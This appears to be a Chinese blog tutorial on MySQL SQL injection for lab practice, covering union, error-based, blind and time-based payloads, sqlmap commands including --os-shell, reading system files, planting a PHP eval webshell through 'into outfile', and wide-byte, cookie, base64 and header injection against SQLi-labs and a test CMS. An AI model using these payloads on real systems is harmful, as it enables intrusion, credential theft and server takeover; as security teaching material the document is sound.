【CyberSecurityLearning 55】SQL注入

目录

SQL

简介

SQL注入基础

漏洞原理

漏洞危害

分类

MYSQL相关

@注释

@mysql 元数据数据库information_schema

@ mysql常用的函数与参数(★)

@逻辑运算

注入流程

SQL 注入

SQL 注入点的判断

SQL注入注入点判断的举例说明

联合查询

* 必要条件

* 判断字段个数

  判断显示位置

报错注入

* group by 重复键冲突

SQL--报错注入---group by触发报错的原理

SQL语句解析过程(运算顺序)

* XPATH 报错

布尔盲注

获取数据库名

延时注入

sqlmap(自动化注入神器)

测试

get注入

post注入

携带cookie 的认证

SQL 注入文件读写

宽字节注入

Cookie 注入

base64 注入

HTTP 头部注入


SQL

简介

SQL 结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言。美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言。
常见的关系型数据库系统:MYSQL ACCESS     MSSQL orcale
有明显的层次结构: 库名  |  表名  |  字段名  |  字段内容
不过个中通信的数据库系统在其实践过程中独对SQL规范做了某些编改和扩充。所以实际上不同的数据库系统之间的SQL不能完全通用。
SQL注入是一种常见的Web 安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击

SQL注入基础

漏洞原理

针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序意料之外结果的攻击行为。

其成因可归结为以下两个原理叠加造成:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

*注入点可能的位置

根据SQL 注入漏洞的原理,在用户“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要代入数据库查询,都有存在SQL 注入的可能,这些地方通常包括:
@   GET 数据
@   POST 数据
@   HTTP 头部(HTTP 请求报文其他字段)
@   Cookie 数据
    …
 GET+POST+COOKIE也叫GPC

漏洞危害

攻击者利用SQL注入漏洞们可以获取数据库中的多中信息(如:管理员后台密码),从而脱取数据库中内容(脱库)。
在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者就可以通过SQL注入漏洞直接获取webshell 或者服务器系统权限。
mof提权 | udf提权

分类

SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL注入分为数字型和字符型。

·数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。

·字符型注入正好相反

根据注入手法分类,大致分为以下几个类别

    @   UNION query SQL injection(可联合查询注入)           联合查询
    @   Error-based SQL injection(报错型注入)                     报错注入
    @   Boolean-based blind SQL injection(布尔型注入)       布尔盲注
    @   Time-based blind SQL injection(基于时间延迟注入)  延时注入
    @   Stacked queries SQL injection(可多语句查询注入)   堆叠查询

MYSQL相关

本科主要使用*map 环境,既然要探讨SQL 注入漏洞,需要对数据库有所了解,此处以mysql 为例,这里只起到抛砖引玉的作用,其他环境的注入,读者可以根据本次的思路去学习,唯一不同的只是数据库的特性

@注释

mysql 数据库的注释的大概有以下几种

#

-- (杠杠空格)

/* … */

/*! … */ 内联查询

@mysql 元数据数据库information_schema

库名表名字段名都叫做MySQL的元数据,这些元数据代表了MySQL数据库的结构
库名表名字段名MySQL会把它存到一个数据库里面,叫information_schema

information_schema数据库中的几个关键的表

@ mysql常用的函数与参数(★)

show databases; #查看数据库

use information_schema; #转到数据库information_schema

show tables; #查看当前数据库中的数据表

=    >    >=    <=    <>不等于

比较运算符

select 1<>2;

and  |  or

逻辑运算符

select 1 and 0;

version()

mysql 数据库版本

select version();

database()

当前数据库名

select database();

user()

用户名

select user();

current_user()

当前用户名

select current_user();

system_user()

系统用户名

select system_user();

@@datadir

数据库路径

select @@datadir;

@@version_compile_os

操作系统版本

select @@version_compile_os;

length()

返回字符串长度

select length('ffdfs');

select length(version());

substring()

功能:截取字符串
这三个函数都有三个参数:

参数1、截取的字符串

参数2、截取的起始位置,从1开始(不是偏移量)

参数3、截取长度

select substring("dhffjf",2,2);

substr()

select substr("version()",2);

select substr(version(),2,10);

mid()

select mid(' select ',2,6);

left()

从左侧开始去指定字符个数的字符串(从左开始取多少个字符)

select left('adc',2);

select left(version(),2);

concat()

没有分隔符的连接字符串

select concat('a','b','c');   #abc

concat_ws()

含有分隔符的连接字符串

select concat_ws('/','a','b','c');  # a/b/c  

group_concat()

连接一个组的字符串

select group_concat(id) from users;   #默认以逗号分隔

ord()

返回ASCII码

select ord('a');  # 97

ascii()

select ascii('a');

hex()

将字符串转换为十六进制

select hex('a');

unhex()

hex 的反向操作

select unhex(61);

md5()

返回MD5 值

select md5('123456');

floor(x)

返回不大于x 的最大整数

round()

返回参数x 接近的整数

rand()

返回0-1 之间的随机浮点数

select rand();

load_file()

读取文件,并返回文件内容作为一个字符串(括号里面跟一个文件的绝对路径)

sleep()

睡眠时间为指定的秒数

select sleep(5);

if(true,t,f)

if判断(如果第一个参数是true返回第二个,否则返回第三个)

select if(true,1,0);  #1

select if(false,1,0);  #0

find_in_set()

返回字符串在字符串列表中的位置

benchmark()

指定语句执行的次数

name_const()

返回表作为结果

chr()
chr()函数的作用是将ascii码转换行字符
 

@逻辑运算

在SQL 语句中逻辑运算与(and)比或(or)的优先级要高。(not>and>or)

[ select 1=2 and 1=2 or 1=1--+ ]  # true

注入流程

由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL 注入漏洞获取数据库中信息时候,也依据这样的顺序。

首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。

SQL 注入

使用工具:御剑扫描网站后台

火狐浏览器插件:Wappalyzer

御剑有自己的字典

如果一个网站存在SQL注入漏洞,我们就可以去访问数据库,后台管理员的用户名密码也在数据库,登录网站后台

SQL 注入点的判断

@   ?id=34    +/- 1   变化id值,看有没有变化

select * from tbName where id = $id

@   ?id=35'    通过加单引号,判断是字符型还是数字型

报错:near ''' at line 1

select * from tbName where id = 35'(说明这个单引号有问题,是多余的)

@   测试页面是否有布尔类型的状态

?id=35 and 1=1

?id=35 and 1=2

select * from tbName where id=35 and 1=1

select * from tbName where id=35 and 1=2

当我们添加and1=1的时候或者and1=2的时候这两次页面的状态十分相同,如果不同我们就认为它有布尔类型的状态,如果相同就认为布尔类型状态不存在!

(页面是否正常跟数据库是否报错是两个问题)

@   ?id=35 and sleep(5)      测试是否有延时

沉睡五秒怎么看?打开F12--网络---看时间线

再沉睡4s看看,不一样。说明sleep会对页面服务器的响应照成影响

口诀:(前提是有SQL注入)
如果我们页面中id加一或减一页面发生变化考虑联合查询
如果页面没有变化,看有没有报错,如果有报错考虑报错注入
如果没有报错也没有回显,考虑有没有布尔类型的状态,如果有布尔类型状态我们考虑布尔盲注
如果以上都没有,我们用绝招(绝境中用的招),用延时注入

SQL注入注入点判断的举例说明

* 说明
    为了演示SQL 注入的四大基本手法,我们以CMS 为例。【已经在win7中布置好了环境】
    [http://172.16.132.138/cms/]

* 目标
    通过SQL 注入漏洞获得后台管理员帐密并成功登录系统。
    后台地址[http://172.16.132.138/cms/admin/]
    
* 四大基本手法
    四大基本手法包括:
    @    联合查询
    @    报错注入
    @    布尔盲注
    @    延时注入
* 注入点?
    [http://172.16.132.138/cms/show.php?id=33]

* 注入点的判断
    对连接[http://172.16.132.138/cms/show.php?id=33]是否是注入点进行判断。
    @    变换id 参数
    当我们变换id 参数(33+1|33-1)的时候,发现同一个页面,show.php 页面展现出不同的新闻内容。也就是说,数据库中的内容会回显到网页中来。
    初步判定,id 参数会带入数据库查询,根据不同的id 查询数据库,得到不同的新闻内容。
    猜测后台执行的SQL 语句大致结构为:
    select * from tbName where id=33;

    
    @    单引号
    [?id=33']

    执行的SQL 主语则变为
    select * from tbName where id=33’;
    页面报错,并且报错信息会回显在网页中,报错信息如下
----
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
----
    错误信息提示单引号位置出现错误,那么说明,SQL 语句从头到参数33 都是正确的。也就是说,我们添加的单引号是多余的。
    因此,可以断定参数33 前面没有引号。
    则,此注入点(可能)为数字型注入。
    @    [and 1=1 ]
    [?id=33 and 1=1 --+]
    可能得SQL 语句为
    select * from tbName where id=33 and 1=1 --+

    页面正常。
    @    [and 1=2]
    [?id=33 and 1=2 --+]
    可能得SQL 语句
    select * from tbName where id=33 and 1=2 --+

    页面没有新闻内容,并且数据库没有报错。由于1=2 是恒假式,也就是查询条件[where id=33 and 1=2 --+]恒假,这样的SQL 语句在数据库中执行后,没有返回结果,没有新闻内容。
    反过来看,页面没有新闻内容,也就是SQL 语句查询条件为假。也就是说,我们写的语句[and 1=2 --+],起到了将查询条件置为假的作用。
    那么,可以通过构造语句来控制SQL 语句的查询结果并且,SQL 语句查询条件真假性,在页面回显中有体现。
    @    [and sleep(5)]
    [?id=33 and sleep(5)]
    注入sleep(5) 语句,可以通过网络时间线看到延时。

    说明sleep(5) 语句起到了作用
    综上,此连接存在SQL 注入漏洞。(除了变化id有回显这种方法,剩下几个出现其中任意一个我们就认为它存在SQL注入漏洞)

联合查询

    由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
    联合查询就是SQL 语法中的union select  语句。该语句会同时执行两条select 语句,生成两张虚拟表,然后把查询到的结果进行拼接。
    select ~~~~ union select ~~~~
    由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。
    
    实现 跨库跨表查询

* 必要条件

    @    两张虚拟的表具有相同的列数
    @    虚拟表对应的列的数据类型相同

数字很特殊,它可以自动转化成字符串

原来它是数字,但是我们查询的时候是字符,我要强制拼到一块怎么办?
我们可以把字符编码,这样我们就可以用数字表示字母

* 判断字段个数

    可以使用[order by] 语句来判断当前select 语句所查询的虚拟表的列数。
    [order by]语句本意是按照某一列进行排序,在mysql 中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql 没有找到对应的列,就会报错[Unknown column]。我们可以依次增加数字,直到数据库报错。
    [order by 1 --+]    # 按照第一个字段排序
    [order by 2 --+]
    ...
    [order by 15 --+]

    [order by 16]

    得到当前虚拟表中字段个数为15

  
判断显示位置

    得到字段个数之后,可以尝试构造联合查询语句。
    这里我们并不知道表名,根据mysql 数据库特性,select 语句在执行的过程中,并不需要指定表名。
    [?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+]
    [?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+]  

如果不能用order by判断列数,我们可以用一个null、两个null...试出来

select 1,2,3(发现字段名和内容都是1,2,3)


    页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL 语句:
    [?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
或者
    [?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]

    在执行SQL 语句的时候,可以考虑用火狐浏览器的插件hackbar。

    发现3 和11 会回显到页面中来。

* 数据库版本

    我们可以将数字3 用函数[version()]代替,即可得到数据库的版本。将11换成database()可以得到数据库名
    [?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+]

    数据库版本为5.5.53。


* 当前数据库名

    [database()]
    [?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+]

* 数据库中的表

    [?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+ 
    我们在页面中尽量避免使用字符串,用函数来代替。

报错:

考虑是不是编码有问题(union查询的两个条件)

    数据库报错,考虑用[hex()] 函数将结果由字符串转化成数字。(可以用ASCII也可以用十六进制)
    [?id=33 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]

    得到十六进制编码后的字符串
----
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
----
    再进行十六进制解码(用burpsuite)【Decoder----decode as ASCII hex】


----
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
----
    管理员帐密有可能保存在cms_users 表中。
* 查询表中字段

?id=33 and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'--+

cms_users作为字符串出现我们要加单引号,但是我们要避免单引号的使用,把cms_users转换为十六进制(选择后用hackbar---Encoding---Hex Encode--前面加0x表示十六进制)

----
7573657269642C757365726E616D652C70617373776F7264
----

去解码:
----
userid,username,password
----
* 字段内容

    查询表中记录数
    [?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]

    cms_users 表中只有一条记录。
    
    查询字段内容
    [?id=33 and 1=2 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]

----
61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
----
----
admin:e10adc3949ba59abbe56e057f20f883e
----
    得到的是后台管理员帐密,但是密码是以密文的方式保存在数据库中的。通过观察密文可知,此密文为MD5 密文。可以在线查询,网址为
    [https://www.cmd5.com/],可以忽略加密类型。
----
admin:123456
----
    通过网站后台登录系统

报错注入

    在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入。
    报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可

select concat(left(rand(),3),'^',(select version()),'^') as x,count(*) from information_schema.tables group by x;
语句中的as是给concat(left(rand(),3),'^',(select version()),'^')起别名x,方便后面的聚合操作。此处as可以省略,直接写x即可:
select concat(left(rand(),3),'^',(select version()),'^') x,count(*) from information_schema.tables group by x;

如果关键的表被禁用了,可以采用如下语句://自己构造一个表

select  concat('^',version(),'^',floor(rand()*2))x,count(*) from (select 1 union select null union select !1) a group by x;

如果rand()函数或者count()函数被禁用了,可以用如下方式:

select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2);

不依赖额外的函数和具体的表

select min(@a:=1) from (select 1 union select null union select !1) a group by concat('^',@@version,'^',@a:=(@a+1)%2);

注意:此种方法有可能成功,也可能不成功

* group by 重复键冲突

    [?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
    [?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]

group by的报错实际上是MySQL一个天生的缺陷
我们现行的版本,只要是MySQL,只要是有报错信息,用这种方法注入是最稳妥的方式,因为它是MySQL天生的

SQL--报错注入---group by触发报错的原理

@创建数据库,并写入数据;

mysql> create database groupbyTest;
Query OK, 1 row affected (0.00 sec)

mysql> use groupbyTest;
Database changed
mysql> show tables;
Empty set (0.01 sec)

mysql> create table r1 (a int);
Query OK, 0 rows affected (0.02 sec)

mysql> insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
Query OK, 14 rows affected (0.01 sec)
Records: 14  Duplicates: 0  Warnings: 0

@简单的查询

mysql> select * from r1;
+------+
| a    |
+------+
|    1 |
|    2 |
|    1 |
|    2 |
|    1 |
|    2 |
|    1 |
|    2 |
|    1 |
|    2 |
|    1 |
|    2 |
|    1 |
|    2 |
+------+
14 rows in set (0.00 sec)

mysql> select count(*) from r1;   //查询r1表有多少条记录
+----------+
| count(*) |
+----------+
|       14   |
+----------+
1 row in set (0.00 sec)

mysql> select count(*) from r1 group by a;
+----------+
| count(*) |
+----------+
|        7 |
|        7 |
+----------+
2 rows in set (0.00 sec)

mysql> select count(*) from r1 group by "1";
+----------+
| count(*) |
+----------+
|       14   |
+----------+
1 row in set (0.00 sec)

rand()是0-1中的随机数,一般都是小数

mysql> select left(rand(),3),a from r1 group by 1;  // group by 1表示按照第一个字段进行分类聚合
+----------------+------+
| left(rand(),3) | a    |
+----------------+------+
| 0.0               |    2 |
| 0.1               |    1 |
| 0.2               |    1 |
| 0.3               |    2 |
| 0.5               |    1 |
| 0.6               |    2 |
| 0.7               |    1 |
| 0.8               |    1 |
+----------------+------+
8 rows in set (0.00 sec)

由于rand函数每次执行的结果都是不一样的

select left(rand(),3),a,count(*) from r1 group by 1
此处引入count()函数,产生group by重复键冲突报错

//每次执行都报错,而且报的还不一样

mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.2' for key 'group_key'
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.0' for key 'group_key'
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.6' for key 'group_key'
mysql>

分析:先执行from 再执行group by(group by1 的时候rand()函数也会执行),然后要执行select语句,left(rand(),3)这个子句会运行
这时候就会产生一个矛盾。group by是随机的,很大概率,我们group by在执行运算rand()的时候跟我们select在执行运算rand的时候,两次rand的值不一样(大概率),所以会参生重复键冲突问题

@其他语句

select  round(rand(),1),a,count(*) from r1 group by 1;   //round(x)  返回参数x最接近的整数

mysql> select  round(rand(),1),a,count(*) from r1 group by 1;  //也会有重复键的错误,group by 1就是按照round(rand(),1)字段分类
ERROR 1062 (23000): Duplicate entry '0.5' for key 'group_key'

mysql> select a,count(*) from r1 group by round(rand(),1);
ERROR 1062 (23000): Duplicate entry '0.5' for key 'group_key'

mysql> select floor(rand()*2),a,count(*) from r1 group by 1;  //floor(x)返回不大于x的最大整数(向下取整)//是有成功率的
+-------------------+-----+-----------+
| floor(rand()*2) |  a   | count(*) |
+-----------------+------+----------+
|               0     |    1   |        7   |
|               1     |    1   |        7   |
+-----------------+------+----------+
2 rows in set (0.00 sec)

mysql> select floor(rand()*2),a,count(*) from r1 group by 1;   //第二次执行就报重复键错误
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

SQL语句解析过程(运算顺序)

# FROM

from 后面的表标识了这条语句要查询的数据源。
from过程之后会形成一个虚拟表VT1。

# WHERE

where对VT1过程中生成的临时表进行过滤,满足where子句的列被插到VT2中。

# GROUP BY

group by会把VT2生成的表按照group by中的列进行分组,生成VT3。

# HAVING

having  这个子句对VT3表中的不同分组进行过滤,满足having条件的子句被加到VT4表中。

# SELECT

select这个子句对select子句中的元素进行处理,生成VT5表。
—  计算表达式,计算select子句的表达式,生成VT5-1
—  DISTINCT寻找VT5-1表中重复的列,并删掉,生成VT5-2
—  TOP从order by子句定义的结果中,筛选出符合条件的列,生成VT5-3

# GROUP BY从VT5-3中的表,根据order by子句的结果进行排序,生成VT6

* XPATH 报错

    @    extractalue()
    [?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+]

    @    updatexml()
    [?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]

低版本是不支持XPATH报错的(MySQL5.0以下的版本,那就用group by)

布尔盲注

* 原理

利用页面返回的布尔类型状态,正常或者不正常

获取数据库名

@ 数据库名长度

[… and length(database())=1--+]

[… and length(database())=3--+](夹逼准则/二分法)

@ 数据库名

[… and ascii(substr(database(),1,1))=99--+]

由此可知数据库名的第一个字母的ASCII 码是99,即字母C

延时注入

利用sleep() 语句的延时性,以时间线作为判断条件

获取数据库名

@ 获取数据库名长度

[.. and if((length(database())=3),sleep(5),1)--+]

@ 数据库名第二位

[.. and if((ascii(substr(database(),2,1,)=109),sleep(5),1)]

口诀(前提是SQL漏洞存在)

判断是否有回显           联合查询

是否有报错                  报错注入

是否有布尔类型状态    布尔盲注(既没有回显也没有报错)

绝招                              延时注入

sqlmap(自动化注入神器)

sqlmap -h可以看参数

测试

参数1、-u 后加url 检测注入点

 python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"

2、--dbs  列出所有数据库的名字

python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"  --dbs

3、--current-db  列出当前数据库的名字

python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"  --current-db

4、-D  指定一个数据库

5、--tables  列出表名

python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33" -D "cms" --tables

6、-T 指定表名

7、--columns  列出所有的字段名

8、-C  指定字段

9、--dump  列出字段内容

有些地方sqlmap是弄不出来的,只能手动注入

get注入

-u "url"

检测注入点

--dbs

列出所有数据库的名字

--current-db

列出当前数据的名

-D

指定一个数据库

--tables

列出表名

-T

指定表名

--columns

列出所有字段名

-C

指定字段

--dump

列出字段内容

post注入

打开cms用户登录界面,burp抓个包,保存到post.txt

-r post.txt

从文件中读入http请求

--os-shell

获取shell

sqlmap -g "inurl:php?id="

利用google 自动搜索注入点

sqlmap -r post.txt   自动读取我们http数据报做注入测试

携带cookie 的认证

要测试的页面只有在登录状态下才能访问,登录状态用cookie识别

--cookie ""


SQL 注入文件读写

读写文件
* 前提条件     
    我们也可以利用SQL 注入漏洞读写文件。但是读写文件需要一定的条件。
    1. secure-file-priv(是mysql数据库中的一个选项,可以在phpmyadmin中看到该变量)
    可以在phpmyadmin 中看到该变量。(phpmyadmin---变量---secure-file-priv)

    该参数在高版本的mysql 数据库中限制了文件的导入导出操作。改参数可以写在my.ini 配置文件中[mysqld] 下。若要配置此参数,需要修改my.ini 配置文件,并重启mysql 服务。

 
    关于该参数值的相关说明

secure-file-priv 参数配置        含义
secure-file-priv=                    不对mysqld的导入导出操作做限制
secure-file-priv='c:/a/'            限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效)                               
secure-file-priv=null            限制mysqld 不允许导入导出操作

打开my.ini, 在[mysqld]下写:写完后保存重启

mysql的导入导出操作(导入就是写文件,导出就是读取文件)
 
    2. 当前用户具有文件权限

 查询语句[select File_priv from mysql.user where user="root" and host="localhost"]


  3. 知道要写入目标文件的绝对路径
 
* 读取文件操作(load_flie(要读取文件的路径))

    [?id=-1' union select 1, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'), 3 --+ ](假设我们读取C:\Windows\System32\drivers\etc\hosts)
    load_file('')
    C:\\Windows\\System32\\drivers\\etc\\hosts(写法1)
    C:/Windows/System32/drivers/etc/hosts(写法2,用左斜线)
linux系统当中我们路径用做斜线来分隔,windows系统中我们用右斜线来分隔,但是右斜线会作为转移字符出现
上面两种写法选哪一种都可以

   应用:打开http://42.192.43.56/cms/show.php?id=33

打开hacker bar---load URL后split URL
打开SQL---Union---union select statement---输入15

  

id=-33 发现11这个位置有选项,我们直接http://42.192.43.56/cms/show.php?id=-33 UNION SELECT 1,2, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),4,5,6,7,8,9,10,11,12,13,14,15


* 写入文件操作(into outfile)

    [?id=1' and 1=2 union select 1,'<?php @eval($_REQUEST[777]);?>',3 into outfile 'c:\\phpstudy\\www\\2.php'--+],直接传入参数,页面如果不报错,说明写入成功。可以直接访问写入的文件[http://localhost/1.php]

    into outfile

可以写入一句话木马或者是phpinfo()

宽字节注入

    宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。

    使用[?id=1']进行测试的时候,发现提交的单引号会被转移[\']。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。
 
    我们通过阅读32 关的源码,发现几句非常意思的代码,如下。

    此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。
    GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。
    转移字符[\] 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。

    如果我们提交这样的参数[?id=1000%df' union select 1,2,3 --+],就可以使用联合查询进行注入了。
    (转移失效了,单引号会作为控制字符出现)
    0xdf5c 就是一个汉字"運"。(右斜线是5c)

先试一下id=1,id=2  ——》页面不一样(可以采用联合查询)
判断注入点的时候添加一个单引号

再用双引号试试看,发现不管是单引号还是双引号都会被转义

我们要想办法让转义失效,我们可以提交[?id=1000%df' union select 1,2,3 --+],

如果我们?id=1%df'

我们--+看看(没报错):由于这个地方手动添加了一个单引号,我们--+就要注释原来SQL语句中的引号,达到闭合状态
现在就可以判断列数...

我们想让1,2,3显示到页面中来,我们就用 and 1=2,或者id=-1,得知2,3是回显位

宽字节注入就是由于我们程序在编译时设置了set name gbk,把编码格式设置为GBK,并且我们提交的数据会有一个右斜线的单引号的转义
这时候提交%df,就可以去“吃掉”转义字符,使我们单引号生效,达到注入的目的

Cookie 注入

    我们使用SQLi-labs 第20 关来说明Cookie 注入问题。
    Cookie 注入的注入参数需要通过Cookie 提交,可以通过[document.cookie] 在控制台完成对浏览器Cookie 的读写。
    来到less-20,在控制台输入
    [document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"]
    刷新页面即可。

我们进行cookie注入的时候用burpsuite比较好
先挂个代理

打开burp


 然后我们输入
username:Dumb
password:Dumb

抓个包

我们分析一下登录之前和登录之后有什么区别(在repeater模块中右键发送到comparer模块,两个都发)【登录前后都抓个包】

base64 注入

base64不是加密方式,是一种编码方式

    我们以SQLI-labs 第22关来说明base64 注入的问题。
    base64 注入也是比较简单的,只不过将注入字段经过base64 编码。经过测试,发现22 关属于Cookie 型的base64 注入。我们可以使用报错注入手法,payload
    [document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"]
    在控制台输入       
[document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]。
    刷新浏览器网页即可。

HTTP 头部注入

    http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等。
* User-Agent 注入
    如SQLi-labs 第18 关。
    payload
    [User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1


 
* Referer 注入    
    第19 关,注入字段在Referer 中
    [hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]

猜你喜欢

转载自blog.csdn.net/Waffle666/article/details/115374210